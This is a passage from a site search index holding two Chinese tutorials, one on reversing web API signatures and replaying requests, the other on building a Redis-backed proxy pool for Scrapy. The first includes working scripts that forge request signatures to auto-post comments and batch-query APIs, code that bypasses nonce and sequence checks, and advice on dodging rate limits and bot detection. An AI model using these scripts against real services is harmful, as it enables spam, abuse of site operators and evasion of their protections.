","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:8:2","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#42-nonce随机数校验"},{"categories":null,"collections":null,"content":"4.3 序列号（Sequence）校验 特征 常见于 WebSocket 或长连接协议 每个包必须有递增的序列号：1, 2, 3, 4… 乱序或重复的包会被丢弃 绕过方法 class WebSocketClient: def __init__(self): self.seq = 0 # 初始序列号 def send_message(self, msg_type, data): self.seq += 1 # 自增序列号 packet = { \"seq\": self.seq, \"type\": msg_type, \"data\": data } self.ws.send(json.dumps(packet)) ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:8:3","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#43-序列号sequence校验"},{"categories":null,"collections":null,"content":"5. 认证系统分析 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:9:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#5-认证系统分析"},{"categories":null,"collections":null,"content":"5.1 JWT (JSON Web Token) 识别方法 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiaWF0IjoxNjM4MzYwMDAwfQ.5f8e9d2a7b3c1e4f... 三段用 . 分隔： Header (算法类型) Payload (用户数据) Signature (签名，防篡改) 解码 import jwt token = \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiaWF0IjoxNjM4MzYwMDAwfQ.5f8e9d2a...\" # 解码（不验证签名） payload = jwt.decode(token, options={\"verify_signature\": False}) print(payload) # {'userId': 123, 'iat': 1638360000} 注意：JWT 的签名密钥（secret）在服务端，客户端无法伪造。逆向重点是如何获取有效的 Token（通常通过登录）。 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:9:1","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#51-jwt-json-web-token"},{"categories":null,"collections":null,"content":"5.2 自定义 Token 案例：某平台的 Token 生成 // 浏览器逻辑 function generateToken(userId, deviceId) { const timestamp = Date.now(); const raw = `${userId}|${deviceId}|${timestamp}`; const encrypted = AES.encrypt(raw, SECRET_KEY); return Base64.encode(encrypted); } 复现 from Crypto.Cipher import AES import base64 import time def generate_token(user_id, device_id): timestamp = int(time.time() * 1000) raw = f\"{user_id}|{device_id}|{timestamp}\" # 假设逆向出的 SECRET_KEY key = b'sixteen byte key' cipher = AES.new(key, AES.MODE_ECB) encrypted = cipher.encrypt(raw.ljust(16).encode()) return base64.b64encode(encrypted).decode() ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:9:2","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#52-自定义-token"},{"categories":null,"collections":null,"content":"6. 高级技巧：RPC 调用 当 JS 逻辑过于复杂（如 WebAssembly、VM 保护），直接复现算法成本太高，可以使用 RPC（Remote Procedure Call） 技术。 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:10:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#6-高级技巧rpc-调用"},{"categories":null,"collections":null,"content":"6.1 原理 在浏览器中注入一个 WebSocket 服务器，Python 客户端通过 WebSocket 调用浏览器中的 JS 函数。 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:10:1","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#61-原理"},{"categories":null,"collections":null,"content":"6.2 实现 浏览器端（通过 Tampermonkey 注入） // ==UserScript== // @name RPC Server // @match https://www.example.com/* // ==/UserScript== const ws = new WebSocket(\"ws://127.0.0.1:8765\"); ws.onmessage = function (event) { const request = JSON.parse(event.data); let result; try { // 调用页面中的签名函数 if (request.method === \"getSign\") { result = window.getSign(request.params.videoId, request.params.timestamp); } ws.send(JSON.stringify({ id: request.id, result: result })); } catch (e) { ws.send(JSON.stringify({ id: request.id, error: e.message })); } }; Python 客户端 import asyncio import websockets import json class RPCClient: def __init__(self): self.request_id = 0 async def call(self, method, params): async with websockets.connect('ws://127.0.0.1:8765') as ws: self.request_id += 1 request = { 'id': self.request_id, 'method': method, 'params': params } await ws.send(json.dumps(request)) response = await ws.recv() return json.loads(response)['result'] # 使用 async def main(): client = RPCClient() sign = await client.call('getSign', {'videoId': 'BV1xv4y1X7Yp', 'timestamp': 1638360000}) print(f\"签名结果: {sign}\") asyncio.run(main()) 优点： ✅ 不需要复现复杂算法 ✅ 自动跟随网站更新 ✅ 可调用任何 JS 函数（包括 WebAssembly） 缺点： ❌ 需要浏览器一直运行 ❌ 性能较低（网络通信开销） ❌ 不适合高并发场景 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:10:2","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#62-实现"},{"categories":null,"collections":null,"content":"7. 常见陷阱与调试技巧 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:11:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#7-常见陷阱与调试技巧"},{"categories":null,"collections":null,"content":"7.1 参数顺序问题 错误示例 # Python 的字典是无序的（3.7+ 保持插入顺序） params = {\"c\": 3, \"a\": 1, \"b\": 2} sign = md5(\"\u0026\".join([f\"{k}={v}\" for k in params])) # ❌ 错误 正确做法 # 必须按字典序或指定顺序排序 sign = md5(\"\u0026\".join([f\"{k}={params[k]}\" for k in sorted(params.keys())])) # ✅ 正确 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:11:1","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#71-参数顺序问题"},{"categories":null,"collections":null,"content":"7.2 字符编码问题 # 浏览器中可能使用 UTF-8 编码 sign_js = md5(\"中文参数\") # JavaScript 默认 UTF-8 # Python 必须显式指定编码 sign_py = hashlib.md5(\"中文参数\".encode('utf-8')).hexdigest() # ✅ ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:11:2","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#72-字符编码问题"},{"categories":null,"collections":null,"content":"7.3 浮点数精度 // JavaScript timestamp = Date.now(); // 1638360000123（13位毫秒） // Python timestamp = int(time.time()); // 1638360000（10位秒）❌ timestamp = int(time.time() * 1000); // 1638360000123 ✅ ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:11:3","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#73-浮点数精度"},{"categories":null,"collections":null,"content":"7.4 调试技巧：Diff 对比 当签名始终不匹配时，对比浏览器和脚本的中间结果： # 在浏览器 Console 中打印 console.log(\"待签名字符串:\", rawString); console.log(\"签名结果:\", sign); # 在 Python 中打印 print(\"待签名字符串:\", raw_string) print(\"签名结果:\", sign) # 使用在线 Diff 工具对比 # https://www.diffchecker.com/ ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:11:4","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#74-调试技巧diff-对比"},{"categories":null,"collections":null,"content":"8. 实战案例 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:12:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#8-实战案例"},{"categories":null,"collections":null,"content":"案例 1：某新闻网站评论接口 目标: 自动发表评论 分析过程: 抓包发现 POST 请求参数包含 content, article_id, timestamp, sign 搜索 sign 关键字，定位到 utils.js:1234 发现签名逻辑：MD5(article_id + content + timestamp + \"news_secret_2024\") 测试发现 timestamp 有 ± 5 分钟容错 完整脚本: import requests import hashlib import time def post_comment(article_id, content): timestamp = int(time.time()) sign = hashlib.md5( f\"{article_id}{content}{timestamp}news_secret_2024\".encode() ).hexdigest() data = { \"article_id\": article_id, \"content\": content, \"timestamp\": timestamp, \"sign\": sign } response = requests.post( \"https://news.example.com/api/comment/add\", data=data, headers={ \"User-Agent\": \"Mozilla/5.0\", \"Cookie\": \"session=YOUR_SESSION_COOKIE\" } ) return response.json() # 测试 result = post_comment(12345, \"这篇文章写得真好！\") print(result) ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:12:1","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#案例-1某新闻网站评论接口"},{"categories":null,"collections":null,"content":"案例 2：某电商搜索接口（AES 加密） 目标: 批量搜索商品价格 分析过程: 发现请求参数 q 是加密的：q=U2FsdGVkX1+3g7h2k...（Base64 格式） 搜索 encrypt 关键字，找到 CryptoJS.AES.encrypt 提取 AES 密钥和 IV（硬编码在 JS 中） 发现加密模式为 AES-128-CBC 完整脚本: from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 import requests def encrypt_query(keyword): key = b'1234567890abcdef' iv = b'abcdef1234567890' cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(keyword.encode(), AES.block_size)) return base64.b64encode(encrypted).decode() def search_product(keyword): encrypted_q = encrypt_query(keyword) response = requests.get( \"https://shop.example.com/api/search\", params={\"q\": encrypted_q} ) return response.json() # 批量搜索 keywords = [\"iPhone 15\", \"MacBook Pro\", \"AirPods\"] for keyword in keywords: results = search_product(keyword) print(f\"{keyword}: {results['total']} 个结果\") ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:12:2","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#案例-2某电商搜索接口aes-加密"},{"categories":null,"collections":null,"content":"9. 防御与对抗 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:13:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#9-防御与对抗"},{"categories":null,"collections":null,"content":"9.1 服务端防护手段 防护方法 原理 绕过难度 时间戳校验 拒绝过期请求（± 60s） ⭐ 简单（同步时钟） Nonce 去重 缓存最近的随机数 ⭐⭐ 中等（生成唯一值） 请求频率限制 单 IP/用户限制 QPS ⭐⭐⭐ 较难（IP 池 + 账号池） 行为分析 检测自动化特征（速度、顺序） ⭐⭐⭐⭐ 困难（模拟人类行为） 设备指纹 绑定设备（Canvas、WebGL） ⭐⭐⭐⭐ 困难（伪造指纹） 验证码 人机识别（滑块、点选） ⭐⭐⭐⭐⭐ 极难（OCR + 打码平台） ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:13:1","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#91-服务端防护手段"},{"categories":null,"collections":null,"content":"9.2 逆向工程师对策 # 1. 使用 IP 代理池 import requests proxies = { 'http': 'http://proxy1.com:8080', 'https': 'http://proxy1.com:8080' } response = requests.get(url, proxies=proxies) # 2. 随机化请求间隔 import random import time for i in range(100): api_request() time.sleep(random.uniform(2, 5)) # 2-5秒随机延迟 # 3. 模拟真实浏览器行为 headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 'Accept-Encoding': 'gzip, deflate, br', 'Referer': 'https://www.example.com/', 'DNT': '1', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1' } ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:13:2","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#92-逆向工程师对策"},{"categories":null,"collections":null,"content":"10. 工具推荐 工具 用途 平台 Postman API 调试、请求重放 全平台 mitmproxy 抓包、请求修改、Python 脚本 全平台 Burp Suite 高级抓包、参数 Fuzz、重放攻击 全平台 Fiddler Windows 抓包神器 Windows Charles macOS 抓包工具 macOS Insomnia API 调试（Postman 替代品） 全平台 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:14:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#10-工具推荐"},{"categories":null,"collections":null,"content":"总结 API 逆向的本质是理解通信协议。掌握以下技能你将无往不利： ✅ 签名算法识别：MD5/SHA/HMAC/自定义算法 ✅ 加密参数分析：AES/RSA/自定义加密 ✅ 防重放机制绕过：时间戳/Nonce/序列号 ✅ 认证系统：JWT/Session/自定义 Token ✅ RPC 调用：处理复杂 JS/WASM 逻辑 ✅ 对抗检测：IP 池、行为模拟、验证码处理 记住: 服务器看不出请求来自脚本还是浏览器，你就成功了。 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:15:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#总结"},{"categories":null,"collections":null,"content":"相关章节 JavaScript 反混淆 加密算法识别 动态参数分析 Puppeteer 与 Playwright 验证码绕过 ","date":"2024-08-25","objectID":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/:16:0","tags":["Web","RSA","签名验证","WebAssembly","Canvas指纹","代理池"],"title":"API 逆向与重放攻击","uri":"/reverse_engineering/web/03-basic-recipes/api_reverse_engineering/#相关章节"},{"categories":null,"collections":null,"content":"代理池设计与 Scrapy 集成 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： Scrapy 快速入门 - 理解 Scrapy 中间件机制 Redis 基础 - 理解 Redis 数据结构与操作 Python asyncio - 理解异步编程模型 在面对反爬虫策略严厉的目标站（如电商、社交媒体）时，单一 IP 很容易被封禁。构建一个高可用、自动轮转的代理池 (Proxy Pool) 是大规模数据采集的基础设施。 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:0:0","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#代理池设计与-scrapy-集成"},{"categories":null,"collections":null,"content":"1. 代理池架构设计 一个成熟的代理池系统通常包含四个独立模块，通过 Redis 进行解耦： ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:1:0","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#1-代理池架构设计"},{"categories":null,"collections":null,"content":"核心组件 Fetcher (获取器): 职责: 定时从各大免费代理网站（快代理、云代理等）或付费 API 接口拉取代理 IP。 策略: 每隔 N 分钟运行一次，将获取到的新 IP 存入 Redis 的\"待检测\"队列。 Checker (检测器): 职责: 异步检测 Redis 中代理 IP 的可用性、匿名度和响应速度。 实现: 使用 aiohttp 或 requests 对目标网站（如百度、谷歌或特定目标站）发起请求。 评分机制: 项目 说明 可用 分数设为 100（或 +1）。 不可用 分数减 1，当分数低于阈值（如 0）时，从 Redis 移除。 复检 定时遍历 Redis 中现存的代理进行复检，确保库中 IP 始终有效。 Storage (存储器): 项目 说明 数据库 Redis 是最佳选择。 数据结构 Sorted Set (有序集合)。 Key 代理 IP (1.2.3.4:8080) Score 代理分数 (0-100) 优势 可以利用 ZRANGEBYSCORE 轻松获取高质量（满分）代理。 API Server (接口服务): 职责: 为爬虫提供简单的 HTTP 接口获取代理。 接口: /get: 随机返回一个高分代理。 /count: 查看当前可用代理数量。 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:1:1","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#核心组件"},{"categories":null,"collections":null,"content":"架构图 graph LR ProxySources[免费/付费源] --\u003e Fetcher Fetcher --\u003e|Raw Proxy| Redis[(Redis Sorted Set)] Redis \u003c--\u003e|Validation| Checker Crawler[Scrapy 爬虫] --\u003e|Request| API[API Server] API --\u003e|Get High Score Proxy| Redis graph LR ProxySources[免费/付费源] --\u003e Fetcher Fetcher --\u003e|Raw Proxy| Redis[(Redis Sorted Set)] Redis \u003c--\u003e|Validation| Checker Crawler[Scrapy 爬虫] --\u003e|Request| API[API Server] API --\u003e|Get High Score Proxy| Redis graph LR ProxySources[免费/付费源] --\u003e Fetcher Fetcher --\u003e|Raw Proxy| Redis[(Redis Sorted Set)] Redis \u003c--\u003e|Validation| Checker Crawler[Scrapy 爬虫] --\u003e|Request| API[API Server] API --\u003e|Get High Score Proxy| Redis graph LR ProxySources[免费/付费源] --\u003e Fetcher Fetcher --\u003e|Raw Proxy| Redis[(Redis Sorted Set)] Redis \u003c--\u003e|Validation| Checker Crawler[Scrapy 爬虫] --\u003e|Request| API[API Server] API --\u003e|Get High Score Proxy| Redis ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:1:2","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#架构图"},{"categories":null,"collections":null,"content":"设计原则 在实现代理池时，应遵循以下核心设计原则： 原则 说明 模块解耦 采集、验证、存储、服务四个模块独立运行，通过 Redis 消息队列通信 异步优先 验证模块必须使用异步 IO，否则大量代理验证会成为瓶颈 优雅降级 当代理池为空时，支持直连或使用备用隧道代理，避免采集任务中断 水平扩展 每个模块支持多实例部署，采集器和验证器可通过增加实例提升吞吐量 故障隔离 单个代理源故障不影响整体系统，单个验证失败不影响其他代理 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:1:3","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#设计原则"},{"categories":null,"collections":null,"content":"完整架构图 graph TB subgraph 采集层 F1[免费源采集器] --\u003e MQ[Redis Queue] F2[付费API采集器] --\u003e MQ F3[自定义源采集器] --\u003e MQ end subgraph 验证层 MQ --\u003e V1[验证节点 1] MQ --\u003e V2[验证节点 2] MQ --\u003e V3[验证节点 N] end subgraph 存储层 V1 --\u003e RS[(Redis Sorted Set)] V2 --\u003e RS V3 --\u003e RS RS --\u003e TTL[TTL 管理器] end subgraph 服务层 RS --\u003e API1[API 节点 1] RS --\u003e API2[API 节点 2] API1 --\u003e LB[Nginx 负载均衡] API2 --\u003e LB end subgraph 消费层 LB --\u003e S1[Scrapy 爬虫集群] LB --\u003e S2[自动化脚本] LB --\u003e S3[逆向分析工具] end subgraph 监控层 RS --\u003e MON[Prometheus + Grafana] API1 --\u003e MON V1 --\u003e MON end graph TB subgraph 采集层 F1[免费源采集器] --\u003e MQ[Redis Queue] F2[付费API采集器] --\u003e MQ F3[自定义源采集器] --\u003e MQ end subgraph 验证层 MQ --\u003e V1[验证节点 1] MQ --\u003e V2[验证节点 2] MQ --\u003e V3[验证节点 N] end subgraph 存储层 V1 --\u003e RS[(Redis Sorted Set)] V2 --\u003e RS V3 --\u003e RS RS --\u003e TTL[TTL 管理器] end subgraph 服务层 RS --\u003e API1[API 节点 1] RS --\u003e API2[API 节点 2] API1 --\u003e LB[Nginx 负载均衡] API2 --\u003e LB end subgraph 消费层 LB --\u003e S1[Scrapy 爬虫集群] LB --\u003e S2[自动化脚本] LB --\u003e S3[逆向分析工具] end subgraph 监控层 RS --\u003e MON[Prometheus + Grafana] API1 --\u003e MON V1 --\u003e MON end graph TB subgraph 采集层 F1[免费源采集器] --\u003e MQ[Redis Queue] F2[付费API采集器] --\u003e MQ F3[自定义源采集器] --\u003e MQ end subgraph 验证层 MQ --\u003e V1[验证节点 1] MQ --\u003e V2[验证节点 2] MQ --\u003e V3[验证节点 N] end subgraph 存储层 V1 --\u003e RS[(Redis Sorted Set)] V2 --\u003e RS V3 --\u003e RS RS --\u003e TTL[TTL 管理器] end subgraph 服务层 RS --\u003e API1[API 节点 1] RS --\u003e API2[API 节点 2] API1 --\u003e LB[Nginx 负载均衡] API2 --\u003e LB end subgraph 消费层 LB --\u003e S1[Scrapy 爬虫集群] LB --\u003e S2[自动化脚本] LB --\u003e S3[逆向分析工具] end subgraph 监控层 RS --\u003e MON[Prometheus + Grafana] API1 --\u003e MON V1 --\u003e MON end graph TB subgraph 采集层 F1[免费源采集器] --\u003e MQ[Redis Queue] F2[付费API采集器] --\u003e MQ F3[自定义源采集器] --\u003e MQ end subgraph 验证层 MQ --\u003e V1[验证节点 1] MQ --\u003e V2[验证节点 2] MQ --\u003e V3[验证节点 N] end subgraph 存储层 V1 --\u003e RS[(Redis Sorted Set)] V2 --\u003e RS V3 --\u003e RS RS --\u003e TTL[TTL 管理器] end subgraph 服务层 RS --\u003e API1[API 节点 1] RS --\u003e API2[API 节点 2] API1 --\u003e LB[Nginx 负载均衡] API2 --\u003e LB end subgraph 消费层 LB --\u003e S1[Scrapy 爬虫集群] LB --\u003e S2[自动化脚本] LB --\u003e S3[逆向分析工具] end subgraph 监控层 RS --\u003e MON[Prometheus + Grafana] API1 --\u003e MON V1 --\u003e MON end ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:1:4","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#完整架构图"},{"categories":null,"collections":null,"content":"2. 代理类型与来源 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:2:0","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#2-代理类型与来源"},{"categories":null,"collections":null,"content":"代理协议对比 选择代理类型时需要根据目标站点的协议和安全策略进行匹配： 特性 HTTP 代理 HTTPS 代理 SOCKS5 代理 协议支持 仅 HTTP HTTP + HTTPS 任意 TCP/UDP 加密 无 TLS 隧道 可选认证，无内置加密 速度 最快 较快 较快 匿名性 取决于配置 较好 最好 适用场景 简单页面抓取 主流网站抓取 APP 抓包、逆向分析 Scrapy 支持 原生支持 原生支持 需要额外中间件 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:2:1","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#代理协议对比"},{"categories":null,"collections":null,"content":"匿名等级 代理按匿名程度分为三个等级： 等级 说明 透明代理 目标服务器可以看到你的真实 IP（通过 X-Forwarded-For 头部） 匿名代理 目标服务器知道你在使用代理，但看不到真实 IP 高匿代理 目标服务器完全无法识别你在使用代理，最适合逆向工程场景 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:2:2","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#匿名等级"},{"categories":null,"collections":null,"content":"代理来源对比 来源类型 可用率 速度 匿名性 成本 适用场景 免费代理站 \u003c 5% 慢 低 免费 学习、测试 付费短效代理 60-80% 中等 中等 低 中小规模采集 付费隧道代理 \u003e 95% 快 高 中等 生产环境采集 住宅代理 \u003e 90% 中等 最高 高 高反爬目标、社交媒体 数据中心代理 \u003e 95% 最快 中等 中低 大规模无反爬目标 住宅代理 vs 数据中心代理: 住宅代理使用真实家庭宽带 IP，极难被目标站识别为代理；数据中心代理使用 IDC 机房 IP 段，速度快但容易被识别。对于反爬严格的 APP（如抖音、美团），推荐使用住宅代理。 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:2:3","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#代理来源对比"},{"categories":null,"collections":null,"content":"3. 代理采集模块 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:3:0","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#3-代理采集模块"},{"categories":null,"collections":null,"content":"免费代理站抓取 以下示例展示如何从免费代理网站采集代理 IP： # fetcher/free_proxy.py import re import asyncio import aiohttp from typing import List, Tuple from abc import ABC, abstractmethod class BaseFetcher(ABC): \"\"\"代理采集器基类\"\"\" @abstractmethod async def fetch(self) -\u003e List[Tuple[str, int, str]]: \"\"\" 返回代理列表，每个元素为 (ip, port, protocol) protocol: 'http', 'https', 'socks5' \"\"\" pass class KuaiDailiFetcher(BaseFetcher): \"\"\"快代理采集器\"\"\" BASE_URL = \"https://www.kuaidaili.com/free/inha/{page}/\" async def fetch(self) -\u003e List[Tuple[str, int, str]]: proxies = [] async with aiohttp.ClientSession() as session: for page in range(1, 6): # 采集前 5 页 try: url = self.BASE_URL.format(page=page) async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as resp: html = await resp.text() # 解析 IP 和端口 ips = re.findall( r'\u003ctd data-title=\"IP\"\u003e([\\d.]+)\u003c/td\u003e', html ) ports = re.findall( r'\u003ctd data-title=\"PORT\"\u003e(\\d+)\u003c/td\u003e', html ) for ip, port in zip(ips, ports): proxies.append((ip, int(port), \"http\")) await asyncio.sleep(2) # 避免被反爬 except Exception as e: print(f\"[KuaiDaili] 采集第 {page} 页失败: {e}\") return proxies class Ip3366Fetcher(BaseFetcher): \"\"\"云代理采集器\"\"\" BASE_URL = \"http://www.ip3366.net/free/?stype=1\u0026page={page}\" async def fetch(self) -\u003e List[Tuple[str, int, str]]: proxies = [] async with aiohttp.ClientSession() as session: for page in range(1, 4): try: url = self.BASE_URL.format(page=page) async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as resp: html = await resp.text() items = re.findall( r'\u003ctr\u003e\\s*\u003ctd\u003e([\\d.]+)\u003c/td\u003e\\s*\u003ctd\u003e(\\d+)\u003c/td\u003e', html ) for ip, port in items: proxies.append((ip, int(port), \"http\")) await asyncio.sleep(2) except Exception as e: print(f\"[Ip3366] 采集第 {page} 页失败: {e}\") return proxies ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:3:1","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#免费代理站抓取"},{"categories":null,"collections":null,"content":"付费 API 集成 付费代理通常提供标准化 API 接口，集成更加简单： # fetcher/paid_proxy.py import aiohttp from typing import List, Tuple class PaidProxyFetcher(BaseFetcher): \"\"\"付费代理 API 采集器\"\"\" def __init__(self, api_url: str, api_key: str): self.api_url = api_url self.api_key = api_key async def fetch(self) -\u003e List[Tuple[str, int, str]]: proxies = [] params = { \"key\": self.api_key, \"num\": 100, # 每次提取数量 \"protocol\": 1, # 1=HTTP, 2=HTTPS, 5=SOCKS5 \"anonymity\": 2, # 2=高匿 \"format\": \"json\", } async with aiohttp.ClientSession() as session: try: async with session.get(self.api_url, params=params) as resp: data = await resp.json() for item in data.get(\"data\", []): proxies.append(( item[\"ip\"], item[\"port\"], item.get(\"protocol\", \"http\") )) except Exception as e: print(f\"[PaidProxy] 采集失败: {e}\") return proxies class 